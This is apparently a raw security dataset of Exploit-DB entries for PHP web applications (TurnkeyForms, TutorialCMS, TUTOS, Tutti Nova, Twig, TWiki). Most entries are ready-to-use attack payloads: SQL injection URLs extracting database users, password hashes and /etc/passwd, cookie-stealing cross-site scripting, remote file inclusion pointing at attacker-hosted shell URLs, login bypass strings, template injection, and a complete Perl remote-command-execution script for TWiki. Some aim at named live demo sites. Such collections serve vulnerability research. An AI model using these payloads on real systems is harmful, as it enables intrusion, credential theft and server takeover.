deardaniel/secdata-raw huggingface dataset:
Exploit-DB #32571
Description: TurnkeyForms Software Directory 1.0 - SQL Injection / Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-11-07
Author: G4N0K

Exploit:
source: https://www.securityfocus.com/bid/32175/info

TurnkeyForms Software Directory is prone to an SQL-injection vulnerability and a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Software Directory 1.0 is vulnerable; other versions may also be affected.

http://www.example.com/showcategory.php?cid=-24/**/UNION/**/ALL/**/SELECT/**/1,concat(version(),0x3a,user()),3,4,5--
http://www.example.com/signinform.php?msg="><script>alert(document.cookie)</script>
Exploit-DB #7124
Description: TurnkeyForms Text Link Sales - 'id' Cross-Site Scripting / SQL Injection
Type: webapps
Platform: php
Date: 2008-11-14
Author: ZoRLu

Exploit:
[~] turnkeyforms Text Link Sales Remote Sql inj & xss
[~]
[~]----------------------------------------------------------
[~] Discovered By: ZoRLu
[~]
[~] Date: 14.11.2008
[~]
[~] Home: www.z0rlu.blogspot.com
[~]
[~] contact: trt-turk@hotmail.com
[~]
[~] N0T: YALNIZLIK, YiTiRDi ANLAMINI YALNIZLIGIMDA : ( (
[~]
[~] my bug number now: 43
[~]
[~] my target bug number: 100
[~]
[~] -----------------------------------------------------------


Exploit: sql inj

http://localhost/script/admin.php?a=users&id=[SQL]


[SQL]

999+union+select+1,user(),database(),version(),5,6,7--


sql for demo:

http://demo.turnkeyforms.com/textlinkads/admin.php?a=users&id=999+union+select+1,user(),database(),version(),5,6,7--


xss:

http://demo.turnkeyforms.com/textlinkads/admin.php?a=users&id="><script>alert()</script>

[~]----------------------------------------------------------------------
[~] Greetz tO: str0ke & all Muslim HaCkeRs
[~]
[~] yildirimordulari.org  &  darkc0de.com
[~]
[~]----------------------------------------------------------------------

# milw0rm.com [2008-11-14]
Exploit-DB #34482
Description: TurnkeyForms Yahoo Answers Clone - 'questiondetail.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-08-10
Author: Moudi

Exploit:
source: https://www.securityfocus.com/bid/42480/info

TurnkeyForms Yahoo Answers Clone is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/questiondetail.php?questionid="><script>alert(document.cookie);</script>
Exploit-DB #34702
Description: TurnkeySetup Net Marketing 6.0 - 'faqs.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-07-24
Author: Moudi

Exploit:
source: https://www.securityfocus.com/bid/43435/info

Net Marketing is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary HTML and script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

TurnkeySetup Net Marketing 6.0 is vulnerable; other versions may also be affected. 

http://www.example.com/demos/net_marketing/faqs.php?cat="><script>alert(document.cookie);</script>
Exploit-DB #28349
Description: TurnkeyWebTools PHP Simple Shop 2.0 - Multiple Remote File Inclusions
Type: webapps
Platform: php
Date: 2006-08-07
Author: Matdhule

Exploit:
source: https://www.securityfocus.com/bid/19382/info

PHP Simple Shop is prone to multiple remote file-include vulnerabilities. 

An attacker can exploit these issues to execute arbitrary malicious PHP code in the context of the webserver process. This may facilitate a compromise of the application and the underlying system; other attacks are also possible. 

Version 2.0 is vulnerable; other versions may also be affected.

http://www.example.com/[phpsimpleshop_path]/admin/index.php?abs_path=http://www.example2.com/inject.txt? http://www.example.com/[phpsimpleshop_path]/admin/adminindex.php?abs_path=http://www.example2.com/inject.txt? http://www.example.com/[phpsimpleshop_path]/admin/adminglobal.php?abs_path=http://www.example2.com/inject.txt? http://www.example.com/[phpsimpleshop_path]/admin/login.php?abs_path=http://www.example2.com/inject.txt? http://www.example.com/[phpsimpleshop_path]/admin/menu.php?abs_path=http://www.example2.com/inject.txt? http://www.example.com/[phpsimpleshop_path]/admin/header.php?abs_path=http://www.example2.com/inject.txt?
Exploit-DB #8766
Description: Tutorial Share 3.5.0 - Insecure Cookie Handling
Type: webapps
Platform: php
Date: 2009-05-22
Author: Evil-Cod3r

Exploit:
--------------------------------------------------------------
Tutorial Share 3.4 Insecure Cookie Handling Vulnerability
---------------------------------------------------------------
Auothr :Evil-Cod3r
Home: Creativexploit.com
Contact : Xky@hotmail.com & ie7@windowslive.com
Software : Tutorial Share 3.4
Home : tutorial-share.com
---------------------------------------------------------------
Exploit:
---------
www.site.com/admin/
javascript:document.cookie="usernamed=demo;path=/";
demo = username site :D
---------------------------------------------------------------
demo:
---------
http://www.tutorial-share.com/demo/admin/
-----------------------------------------------------------------------------------------------------
The-g0bL!N  - His0k4  - Cyb3r-Devil  - Mangear Play :) & Str0ke
-----------------------------------------------------------------------------------------------------

# milw0rm.com [2009-05-22]
Exploit-DB #3963
Description: TutorialCMS 1.01 - Authentication Bypass
Type: webapps
Platform: php
Date: 2007-05-21
Author: Silentz

Exploit:
#################################################################################
#										#
#		     TutorialCMS <= 1.01 Authentication Bypass			#
#										#
# Discovered by: Silentz							#
# Payload: Authentication Bypass						#
# Website: http://www.w4ck1ng.com						#
# 										#
# Vulnerability:								#
#										#
#	Variables $loggedIn & $activated are not predefined.			#
#										#
# Vulnerable Files:								#
#      										#
#	login.php								#
#	headerLinks.php								#
#	submit1.php								#
#	myFav.php								#
#	userCP.php								#
#										#
#										#
# PoC: http://victim.com/tutorialcms/userCP.php?loggedIn=1&activated=1		#
# 										#
# Subject To: register_globals set to on					#
# GoogleDork: "Powered By Photoshop Tutorials" 					#
#										#
# Shoutz: The entire w4ck1ng community						#
#										#
# Notes to developers:								#
#										#
#	You should allways fully disclose the vulnerabilities before someone	#
#       else does, just looks better. Also, try changing the "Date Modified" 	#
#	stamp on the files before you wrap it up for upload ;)			#
#										#
#################################################################################

# milw0rm.com [2007-05-21]
Exploit-DB #4901
Description: TutorialCMS 1.02 - 'Username' SQL Injection
Type: webapps
Platform: php
Date: 2008-01-12
Author: ka0x

Exploit:
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
 TutorialCMS 1.02 Remote SQL Injection Vulnerability
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

bug found by ka0x
contact: ka0x01[at]gmail.com
D.O.M TEAM 2008
we are: ka0x, an0de, xarnuz
#from spain

download http://www.wavelinkmedia.com/scripts/tutorialcms/

need magic_quotes_gpc = off

vulnerability in activate.php

vuln code:
[...]

$userName = $_GET["userName"];
$code     = $_GET["activate"];
$sql = "SELECT activated FROM users WHERE username = '$userName' AND activated = '$code'";

[...]

/etc/password:
http://[host]/activate.php?userName='/**/union/**/select/**/1,2,3,4,load_file(0x2f6574632f[PII_REDACTED]64),6,7,8,9,9,9,9,9/*

User and Password from mysql.user:
http://[host]/activate.php?userName='/**/union/**/select/**/1,2,3,4,concat(user,0x203a3a20,password),6,7,8,9,9,9,9,9/**/from/**/mysql.user/*

POC: http://[host]/activate.php?userName='/**/union/**/select/**/1,2,3,4,concat(0x757365723a20,username,0x[PII_REDACTED]3a20,password),6,7,8,9,9,9,9,9/**/from/**/users/*

The encription of password is MD5
login: http://[host]/admin

# milw0rm.com [2008-01-12]
Exploit-DB #24104
Description: Tutorials Manager 1.0 - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2004-05-10
Author: Hillel Himovich

Exploit:
source: https://www.securityfocus.com/bid/10314/info

Reportedly Tutorials Manager is affected by multiple SQL injection vulnerabilities. These issues are due to a failure of the application to properly sanitize user-supplied input.

These SQL injection issues might allow a remote attacker to manipulate query logic, potentially leading to unauthorized access to sensitive information such as the administrator password hash or corruption of database data. SQL injection attacks may also potentially be used to exploit latent vulnerabilities in the underlying database implementation.

http://www.example.com/guides/index.php?lang=0&CODE=02&id=1[SQL]
http://www.example.com/guides/index.php?lang=0&CODE=01&id=1[SQL]
http://www.example.com/guides/index.php?lang=0&CODE=14&id=1[SQL]
http://www.example.com/guides/admin.php?s=[SOMETHING]&act=own
http://www.example.com/sites/guides/admin.php?s=[SOMETHING]&act=admin&CODE=01

Passing the input ' OR 1=1 /* through the 'username' filed of the 'admin.php' script is reported to grant unauthorized administrator access to the affected application.
Exploit-DB #24617
Description: TUTOS - 'app_new.php?t' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2004-09-20
Author: Joxean Koret

Exploit:
source: https://www.securityfocus.com/bid/11221/info
 
Tutos is reported prone to multiple remote input-validation vulnerabilities. These issues exist due to insufficient sanitization of user-supplied data and may allow an attacker to carry out cross-site scripting and SQL-injection attacks.
 
These issue reportedly affect Tutos 1.1.2004-04-14.

http://www.example.com/app_new.php?t=200408240<script>alert(document.cookie)</script>
Exploit-DB #24616
Description: TUTOS - 'file_overview.php?link_id' SQL Injection
Type: webapps
Platform: php
Date: 2004-09-20
Author: Joxean Koret

Exploit:
source: https://www.securityfocus.com/bid/11221/info

Tutos is reported prone to multiple remote input-validation vulnerabilities. These issues exist due to insufficient sanitization of user-supplied data and may allow an attacker to carry out cross-site scripting and SQL-injection attacks. 

These issue reportedly affect Tutos 1.1.2004-04-14.

http://www.example.com/file/file_overview.php?link_id=1005'asdf
Exploit-DB #22818
Description: Tutos 1.1 - 'File_Select.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2003-06-20
Author: François SORIN

Exploit:
source: https://www.securityfocus.com/bid/8011/info

It has been reported that Tutos does not properly handle input to the file_select script. Because of this, an attacker may be able to execute code in the browser of another user with the privileges of the vulnerable site.

http://www.example.com/tutos/file/file_select.php?msg=<hostile code>
Exploit-DB #22819
Description: Tutos 1.1 - File_New Arbitrary File Upload
Type: webapps
Platform: php
Date: 2003-06-20
Author: François SORIN

Exploit:
source: https://www.securityfocus.com/bid/8012/info

It has been reported that Tutos does not properly handle input to the file_new script. Because of this, an attacker may be able to upload arbitrary files to a vulnerable site.

We can upload via http://www.example.com/tutos/file/file_new.php?link_id=1065

The path is http://www.example.com/tutos/repository/[project number]/[file
number]/FILE
Exploit-DB #23991
Description: Tutos 1.1.20031017 - 'note_overview.php?id' SQL Injection
Type: webapps
Platform: php
Date: 2004-04-13
Author: François SORIN

Exploit:
source: https://www.securityfocus.com/bid/10129/info

Multiple vulnerabilities have been identified in various modules of TUTOS. These vulnerabilities may allow a remote attacker to carry out various attacks such as path disclosure, cross-site scripting, and possibly SQL injection.

http://www.example.com/php/note/note_overview.php?id=1
Exploit-DB #4861
Description: TUTOS 1.3 - 'cmd.php' Remote Command Execution
Type: webapps
Platform: php
Date: 2008-01-07
Author: Houssamix

Exploit:
######################################################################################
# AUTHOR : H-T TeaM {HouSSaMix _ ToXiC350}                                           #
# HOME : http://no-hack.net           						     #
# Script :  TUTOS (Tested in version 1.3) other versions may also be affected.       #
# Download : http://www.tutos.org/homepage/index.html                                #       
# BUG :      Command Execution Vulnerability                                         #		
######################################################################################

(~)| 3xpl0it4t10n

 -1- : Command Execution

    http://[TARGEt]/[path_TUTOS]/php/admin/cmd.php?cmd=[your command]  

   >> we dont need a permission admin for access to '/php/admin/cmd.php' :d 
	
    exemple :  http://site.com/tutos/php/admin/cmd.php?cmd=id;ls
	
	or we can just  enter into : http://[TARGEt]/[path_TUTOS]/php/admin/cmd.php
	and right the command in [ CMD(*) ] and press enter :d

-2- Get phpinfo 

   http://[TARGEt]/[path_TUTOS]/php/admin/phpinfo.php 

(~)| Explantion By Video :
     http://no-hack.net/video/tutos.zip
	

# greezt : CoNaN  , GoLd_M , RoMaNcYxHaCkEr , and all muslims Hackers 

######################################################################################
#                  H-T TeaM {HouSSaMix _ ToXiC350}                                   #
######################################################################################

# milw0rm.com [2008-01-07]
Exploit-DB #2220
Description: Tutti Nova 1.6 - 'TNLIB_DIR' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-08-19
Author: SHiKaA

Exploit:
#==============================================================================================
#Tutti Nova <= v1.6 (TNLIB_DIR) Remote File Inclusion Exploit
#===============================================================================================
#                                                                            
#Critical Level : Dangerous                                                  
#                                                                            
#Venedor site : http://prdownloads.sourceforge.net/tuttinova/tuttinova-1.6.zip             
#                                                                             
#Version : 3.5                                                  
#                                                               
#================================================================================================
#Bug in : include/novalib/class.novaEdit.mysql.php
#
#Vlu Code :
#--------------------------------
#  <?php
#
#  // FILE: class.novaEdit.mysql.php
#
#
#        require("{$TNLIB_DIR}class.novaRead.mysql.php");
#
#  class novaEdit extends novaRead
#
#================================================================================================
#
#Exploit :
#--------------------------------
#
#http://sitename.com/[Script Path]/include/novalib/class.novaEdit.mysql.php?TNLIB_DIR=http://SHELLURL.COM?
#
#Example : http://uryuu.com/php/tuttinova-1.6/
#
#
#================================================================================================
#Discoverd By : SHiKaA
#
#Conatact : SHiKaA-[at]hotmail.com
#
#GreetZ : Str0ke XoRon Bl@Ck^B1rd AND ALL ccteam (coder-cruze-wolf)
==================================================================================================

# milw0rm.com [2006-08-19]
Exploit-DB #33227
Description: TuttoPHP Morris Guestbook - 'view.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-09-16
Author: Moudi

Exploit:
source: https://www.securityfocus.com/bid/36415/info

Morris Guestbook is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/view.php?pagina=1"><script>alert(document.cookie);</script>
Exploit-DB #31753
Description: Tux CMS 0.1 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2008-05-07
Author: Hadi Kiamarsi

Exploit:
source: https://www.securityfocus.com/bid/29090/info

Tux CMS is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Tux CMS 0.1 is vulnerable; other versions may also be affected.

http://www.example.com/?q=>"><script>alert(document.cookie)</script> http://www.example.com/tux-login.php?returnURL=>"><script>alert(document.cookie)</script> http://www.example.com/tux-login.php?returnURL=%00""><script>alert(document.cookie)</script> http://www.example.com/tux-syndication/atom.php/>"><ScRiPt>alert(document.cookie)</ScRiPt>
Exploit-DB #44100
Description: TV - Video Subscription - Authentication Bypass SQL Injection
Type: webapps
Platform: php
Date: 2018-02-16
Author: L0RD

Exploit:
# Exploit Title: TV - Video Subscription - Authentication Bypass
# Dork: N/A
# Date: 2018-02-14
# Exploit Author: Borna nematzadeh (L0RD) or borna.nematzadeh123@gmail.com
# Vendor Homepage: https://codecanyon.net/item/tv-video-subscription/13966427?s_rank=1677
# Version: All version
# Category: Webapps
# CVE: N/A
# # # # #
# Description:
# With this exploit,attacker can login as any user without any
authentication.
# # # # #
# Proof of Concept :

1) Go to login page .

2) Username : anything@anything.anything
    Password : ' or 0=0 #
Exploit-DB #44102
Description: Twig < 2.4.4 - Server Side Template Injection
Type: webapps
Platform: php
Date: 2018-02-16
Author: JameelNabbo

Exploit:
Vulnerability details:
# Exploit Title: Twig <2.4.4 Server side template injection 
# Date: 02/15/2018
# Exploit Author: JameelNabbo
# Author website: www.jameelnabbo.com
# Vendor Homepage: https://twig.symfony.com 
# Software Link: https://twig.symfony.com/doc/2.x/intro.html#installation
# Version: < 2.4.4
# Tested on: MAC OSX

1.Description:
Twig is a modern php template engine  which compile templates down to plain optimized PHP code, Twig <2.4.4 contain SSTI vulnerability which allow attackers to execute commands within the Parameters, by just using {{COMAND TO EXECUTE}} instead of using the expected values “Normal integer or normal string", depends on the vulnerable application, which takes deferent params by GET or POST.

Example: by injecting this in a search param  http://localhost/search?search_key={{4*4}} <http://localhost/search?search_key=%7B%7B4*4%7D%7D>         Output: 16


2. POC:
http://localhost/search?search_key={{4*4}} 
OUTPUT: 4 

http://localhost/search?search_key={{ls}} 
OUTPUT: list of files/directories etc….
Exploit-DB #2143
Description: TWiki 4.0.4 - 'configure' Remote Command Execution
Type: webapps
Platform: php
Date: 2006-08-07
Author: Javier Olascoaga

Exploit:
#!/usr/bin/perl 
# Tue Aug  1 13:18:12 CEST 2006 jolascoaga@514.es
use strict;
use LWP::UserAgent;
use LWP::Simple;
use HTTP::Request;
use HTTP::Response;
use Getopt::Long;
$| = 1;   # couse 1 is bigger than 0
my ($proxy,$proxy_user,$proxy_pass);
my ($host,$debug,$dir, $command);
my $options = GetOptions (
  'host=s'	      => \$host, 
  'dir=s'	      => \$dir,
  'proxy=s'           => \$proxy,
  'proxy_user=s'      => \$proxy_user,
  'proxy_pass=s'      => \$proxy_pass,
  'debug'             => \$debug);
&help unless ($host); # you dont need root
$dir = "/twiki/bin/configure" unless($dir); # ... we have a template for this
print "$host - $dir\n";
while () {
		print "tinkiwinki> "; # phf haquerz style
		while(<STDIN>) {
				$command=$_;
				chomp($command);
				last;
		}
		&send($command);
}

sub send {
    my ($cmd) = @_;
    my $ok	=	0;
    my $socket;
    LWP::Debug::level('+') if $debug; # but remember this is crap :D
    my $ua = new LWP::UserAgent();   
    $ua->agent("safari/zoo"); 
    if ($host !~ /^http/) {
	$host = sprintf ("http://%s", $host); # CRAP CRAP CRAP
    }
    my $req = HTTP::Request->new(POST => $host.$dir);
    $req->content('action=update&TYPEOF%3A%29%3Bsystem%28%27'.$cmd.'%27%29%3Bmy+@a%3D%28=anything&submit=Submit');
    $ua->proxy(['http'] => $proxy) if $proxy;
    $req->proxy_authorization_basic($proxy_user, $proxy_pass) if $proxy_user;
    print $req->as_string() if $debug; 
    my $res = $ua->request($req);
    my $html = $res->content(); 
    $html =~ m/<body.*?>(.*?)<div/si; # <pus>
    print $1."\n";
    if ($debug) {
		open (DEBG, ">wikidebug");
		print DEBG $html;
    }
}
sub help {
    print "Syntax: ./$0 --host=url --dir=/horde [options]\n";
    print "\t--proxy (http), --proxy_user, --proxy_pass\n";
    print "\t--debug\n";
    print "the default directory is /twiki/bin/configure\n";
    print "\nExample\n";
    print "bash# $0 --host=http(s)://www.server.com/\n";
    print "\n";
    exit(1);
}
exit 0;
# <END OF EXPLOIT>

# milw0rm.com [2006-08-07]
Exploit-DB #28495
Description: TWiki 4.0.x - 'Viewfile' Directory Traversal
Type: webapps
Platform: php
Date: 2006-09-07
Author: Peter Thoeny

Exploit:
source: https://www.securityfocus.com/bid/19907/info

Twiki is prone to a directory-traversal vulnerability because it fails to properly sanitize user-supplied input. 

An attacker can exploit this vulnerability to retrieve arbitrary files from the vulnerable system in the context of the affected application. Information obtained may aid in further attacks.

Twiki versions 4.00 to 4.04 are vulnerable to this issue.

http://example.com/bin/viewfile/TWiki/TWikiDocGraphics?rev=1;filename=../../../../../etc/passwd
Exploit-DB #32645
Description: TWiki 4.x - 'SEARCH' Remote Command Execution
Type: webapps
Platform: php
Date: 2008-12-06
Author: Troy Bollinge

Exploit:
source: https://www.securityfocus.com/bid/32668/info

TWiki is prone to a vulnerability that attackers can leverage to execute arbitrary commands in the context of the application. This issue occurs because the application fails to adequately sanitize user-supplied input.

Successful attacks can compromise the affected application and possibly the underlying computer. 

Enter the following in the application's search box:
%SEARCH{ date="P`pr -?`" search="xyzzy" }%

http://www.example.com/twiki/bin/view/Main/WebSearch?search=%25SEARCH%7Bdate%3D%22P%60pr+-%3F%60%22+search%3D%22xyzzy%22%7D%25&scope=all